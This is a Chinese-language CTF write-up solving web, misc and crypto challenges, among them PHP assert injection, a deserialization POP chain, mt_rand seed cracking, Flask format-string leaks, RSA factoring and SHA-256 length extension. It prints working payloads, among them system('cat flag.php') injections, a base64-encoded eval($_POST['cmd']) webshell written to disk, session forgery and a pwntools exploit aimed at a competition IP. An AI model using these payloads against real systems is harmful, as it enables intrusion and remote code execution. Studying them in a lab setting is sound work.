WEB
warmup
源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
require_once('flag.php');
error_reporting(0);
if(!isset($_GET['u'])){
highlight_file(__FILE__);
die();
}else{
$i=$_GET['i'];
$u=$_GET['u'];
if($_GET['u']!="Hello World"){
die('die...');
}
assert("$i == $u");
// TODO
// echo $flag;
}
有个assert函数,利用注释符将后面的东西注释掉,然后进行命令执行,payload1
2?u=Hello World&i=system('cat flag.php');//
?u=Hello World&i=system('sort flag.php');%23
simple ser
源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
if(strpos($this->filename,'../') !== false ||
strpos($this->filename,'\\') !== false)
die();
$content = '<?php die(\'stupid\'); ?>';
$content .= $this->txt;
file_put_contents($this->filename, $content);
return htmlspecialchars($content);
}
}
if(!empty($_GET)){
$cls = base64_decode($_GET['ser']);
$instance = unserialize($cls);
}else{
$a = new cls1();
$a->show();
}
一道很经典的反序列化题,pop链如下:
通过cls1的_wakeup方法调用cls2的_get方法,然后调用fileput方法,绕过里面的退出,写个小马,然后任意命令执行
exp如下1
2
3
4
5
6
7$c1 = new cls1();
$c2 = new cls2();
$c1->cls = $c2;
$c1->arr = ['a'=>'fileput'];
$c2->filename = 'php://filter/write=convert.base64-decode/resource=hello.php';
$c2->txt = 'PD9waHAgZXZhbChAJF9QT1NUWydjbWQnXSk7Pz4=';
echo base64_encode(serialize($c1));
然后直接ser发送过去就会生成hello.php小马,接着菜刀就行
Download it
这题考的是php随机函数的安全性漏洞,在SWPU也考过,首先可以看到三张源码图
通过源码我们可以确定,考察的就是随机数的安全问题,所以先找种子
在index.php里面有个随机数IJiJXvRf,先拿去爆破1
2
3
4
5
6
7$str = "IJiJXvRf";
$rand = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
for ($i=0; $i<strlen($str); $i++){
$pos = strpos($rand,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($rand)-1)." ";
}
然后生成32位的随机码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15function gen_rand($length){
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$randstr = '';
for ( $i = 0; $i < $length; $i++ ) {
$randstr .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $randstr;
}
echo "<br>";
//IJiJXvRf
mt_srand(810504305);
echo gen_rand(8);
echo "<br>";
echo gen_rand(32);echo "<br>";
然后读flag1
echo authcode("filename=flag","ENCODE","OaxSTnku5XqaQ9ly6D14roxGFTF5KbQj");
然后将得到的进行url编码接着访问download.php?download=就行了
easy flask
这题先去注册登录,然后可以看到有个session
解密一下出来是一个id值
登录页面发现有id这个参数,遍历一下可以看到id是5时,用户是admin
扫下泄露出来一个www.zip ,可以看到,想要拿到flag,必须是管理员1
2
3
4
5
6
7
8
def get_flag():
if(g.user.username=="admin"):
with open(os.path.dirname(__file__)+'/flag','rb') as f:
flag = f.read()
return flag
return "Not admin!!"
继续看下secret.py有个views_info函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def views_info():
view_id = request.args.get('id')
if not view_id:
view_id = session.get('user_id')
user_m = user.query.filter_by(id=view_id).first()
if user_m is None:
flash(u"该用户未注册")
return render_template('secert/views.html')
if str(session.get('user_id'))==str(view_id):
secert_m = secert.query.filter_by(id=view_id).first()
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
else:
secert_t = u"<p>***************************************<p>"
name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"
info = (name+email+secert_t).format(user_m=user_m)
return render_template('secert/views.html',info = info)
可以看到,这里有个format函数,里面有name、email和secret_t,继续往上看,还有一个format函数,解析secret_m,secret_m就是页面edit_secret的那个参数,至此,我们就可以利用format格式化字符串漏洞获得secret-key然后session伪造登录
payload如下1
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
最后得到secret_key为ichunqiuQAQ013,接下来就是session的伪造1
2
3
4
5
6
7
8
9
10
11
12from flask import Flask,session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'ichunqiuQAQ013'
def set_id():
session['id'] = 5
return "ok"
if __name__ == '__main__':
app.debug = True
app.run()
然后修改session登录访问/flag就有flag
misc
签到
一张数独的图,拿去在线解密一下再将所有数字排成一行加密一下就有了
加密出来结果是1
cee3860fb3f4a52e615fa8aaf3c91f2b
马男波杰克
题目只说了要百度,然后图片名字是atool,猜测是atool加密,去在线解密一下http://www.atool.org/steganography.php
血小板天下第一可爱
拿到两张图片,一张血小板,一张缺了两个定位点的二维码,补全一下扫出来这个东西1
a2V5JTNBJTIwTHNiXzFzX2dyM2F0
base64解密出来是key: Lsb_1s_gr3at,推测是lsb隐写1
python lsb.py extract 123.png 123.txt Lsb_1s_gr3at
出来flag是flag{1_l0ve_LSB~}
flag_universe
拿到一个数据包,然后去追踪ftp流,这里有个坑,有个flag.txt文件,是个flag来的,接着看到有个new_universe.png文件,将它导出来
接着去各种操作,最后发现是lsb隐写,一场比赛考两个lsb隐写…….
crypto
常规rsa
这个打开拿到三个文件,一个pubkey.pem,一个flag.enc,还有一个rsa.py,先去提下公钥信息1
2
3
4
5
6
7
8
9
10
11
12Public-Key: (256 bit)
Modulus:
00:89:3f:05:5d:0d:c5:fe:76:4d:88:1d:5c:d6:0e:
96:7b:21:2c:e0:49:45:9e:57:d2:e8:41:ed:4a:81:
af:77:ed
Exponent: 9850747023606211927 (0x88b4e239fa48e557)
Modulus=893F055D0DC5FE764D881D5CD60E967B212CE049459E57D2E841ED4A81AF77ED
writing RSA key
-----BEGIN PUBLIC KEY-----
MEIwDQYJKoZIhvcNAQEBBQADMQAwLgIhAIk/BV0Nxf52TYgdXNYOlnshLOBJRZ5X
0uhB7UqBr3ftAgkAiLTiOfpI5Vc=
-----END PUBLIC KEY-----
看到n比较小,直接去网站分解下n1
2q = 184333227921154992916659782580114145999
p = 336771668019607304680919844592337860739
同时看encrypt函数,可以看见有个try … except ,而且flag.enc 中的数据很大,说明初始的 n 并不是最后加密的 N 值(因为RSA加密需要公钥n的长度至少是大于消息的长度的, 否则加密出来的密文会无法解密. PKCS#1 v1.5的python实现中, 如果公钥n长度小于要加密的消息, 加密会失败)
最后exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31#!/usr/bin/env python2.7
import gmpy2
import libnum
from Crypto.Util.number import getPrime
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from base64 import b64decode
m = b64decode(open('flag.enc','r').read())
n = 62078208638445817213739226854534031566665495569130972218813975279479576033261
e = 9850747023606211927
q = 184333227921154992916659782580114145999
p = 336771668019607304680919844592337860739
i=1
while 1:
print i
i+=1
n=q*p
if n >= int(m.encode('hex'),16):
d = libnum.invmod(e,(p-1)*(q-1))
prikey = RSA.construct((int(n),int(e),int(d)))
key = PKCS1_v1_5.new(prikey)
m = key.decrypt(m,None)
break
else:
p = gmpy2.next_prime(p**2+q**2)
q = gmpy2.next_prime(2*q*p)
e = gmpy2.next_prime(e**2)
print m
最后的flag1
flag{f@cToR__N_bY_!teratlnG!}
买手机
题目给了一个商店的源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115#!/usr/bin/env python
# encoding: utf-8
import random
import string
import signal
import sys
import os
import time
from hashlib import sha256
from urlparse import parse_qsl
os.chdir(os.path.dirname(os.path.abspath(__file__)))
signkey = ''.join([random.choice(string.letters+string.digits) for _ in xrange(random.randint(8,32))])
items = [
('iPhone X', 7399),
('iPhone 8', 4599),
('P20 Pro', 5488),
('P20', 3788),
('Honor 10', 2399),
('Mi 8', 2999),
('Find X', 4999),
('Nex', 4498),
('Mate10 Pro', 4899),
('Flag', 99999)
]
money = random.randint(3000, 30000)
def list_items():
for i,item in enumerate(items):
print '%2d - %-30s$%d' % (i, item[0], item[1])
def order():
n = input_int('Product ID: ')
if n < 0 or n >= len(items):
print 'Invalid ID!'
return
payment = 'product=%s&price=%d×tamp=%d' % (items[n][0], items[n][1], time.time()*1000000)
sign = sha256(signkey+payment).hexdigest()
payment += '&sign=%s' % sign
print 'Your order:\n%s\n' % payment
def pay():
global money
print 'Your order:'
sys.stdout.flush()
payment = raw_input().strip()
sp = payment.rfind('&sign=')
if sp == -1:
print 'Invalid Order!'
return
sign = payment[sp+6:]
try:
sign = sign.decode('hex')
except TypeError:
print 'Invalid Order!'
return
payment = payment[:sp]
signchk = sha256(signkey+payment).digest()
if signchk != sign:
print 'Invalid Order!'
return
for k,v in parse_qsl(payment):
if k == 'product':
product = v
elif k == 'price':
try:
price = int(v)
except ValueError:
print 'Invalid Order!'
return
if money < price:
print 'Go away you poor bastard!'
return
money -= price
print 'Your current money: $%d' % money
print 'You have bought %s' % product
if product == 'Flag':
print 'Well Done! Here is your flag: %s' % open('flag').read().strip()
def input_int(prompt):
sys.stdout.write(prompt)
sys.stdout.flush()
try:
n = int(raw_input())
return n
except:
return 0
def menu():
print "CPU Shop"
while True:
print "Money: $%d" % money
print "1. List Items"
print "2. Order"
print "3. Pay"
print "4. Exit"
sys.stdout.flush()
choice = input_int("Command: ")
{
1: list_items,
2: order,
3: pay,
4: exit,
}.get(choice, lambda *args:1)()
sys.stdout.flush()
if __name__ == "__main__":
signal.alarm(60)
menu()
可以看到,有四个选项,1是显示商品,2是拿到购买命令,3是购买,4是退出,然后操作要在60秒完成,商品有flag,但是买不起,我们先看order函数1
2
3payment = 'product=%s&price=%d×tamp=%d' % (items[n][0], items[n][1], time.time()*1000000)
sign = sha256(signkey+payment).hexdigest()
payment += '&sign=%s' % sign
可以看到他会将product,price和一个signkey一起加密,接着看pay函数1
2
3
4
5
6
7
8
9for k,v in parse_qsl(payment):
if k == 'product':
product = v
elif k == 'price':
try:
price = int(v)
except ValueError:
print 'Invalid Order!'
return
在pay的时候依旧验证hash值,但是这里还有个问题,他会将里面的product拿出来进行覆盖,因此我们可以选一个够钱买的,然后将product名字替换成Flag,就可以买到flag了
至于signkey我们不知道怎么办呢,因为他长度不长,只有8-32位,所以可以利用hashpump进行爆破1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32#! /usr/bin/env
# coding: utf-8
from hashpumpy import hashpump
from pwn import *
context.log_level = 'debug'
host = '117.50.13.182'
port = 8888
r = remote(host, port)
r.recvuntil('Command: ')
r.sendline(b'2')
r.recvuntil('ID: ')
r.sendline(b'0')
r.recvuntil('Your order:\n')
payment = r.recvline().strip().decode()
sp = payment.rfind('&sign=')
pay = payment[:sp]
hexd = payment[sp+6:]
print pay,hexd
for i in range(8,34):
print i
rec = r.recvuntil('Command: ')
print rec
if 'flag' in rec:
print i,rec
break
r.sendline('3')
hashp = hashpump(hexd, pay, '&product=Flag',i)
sendpay = hashp[1] + b'&sign=' + hashp[0].encode()
r.sendline(sendpay)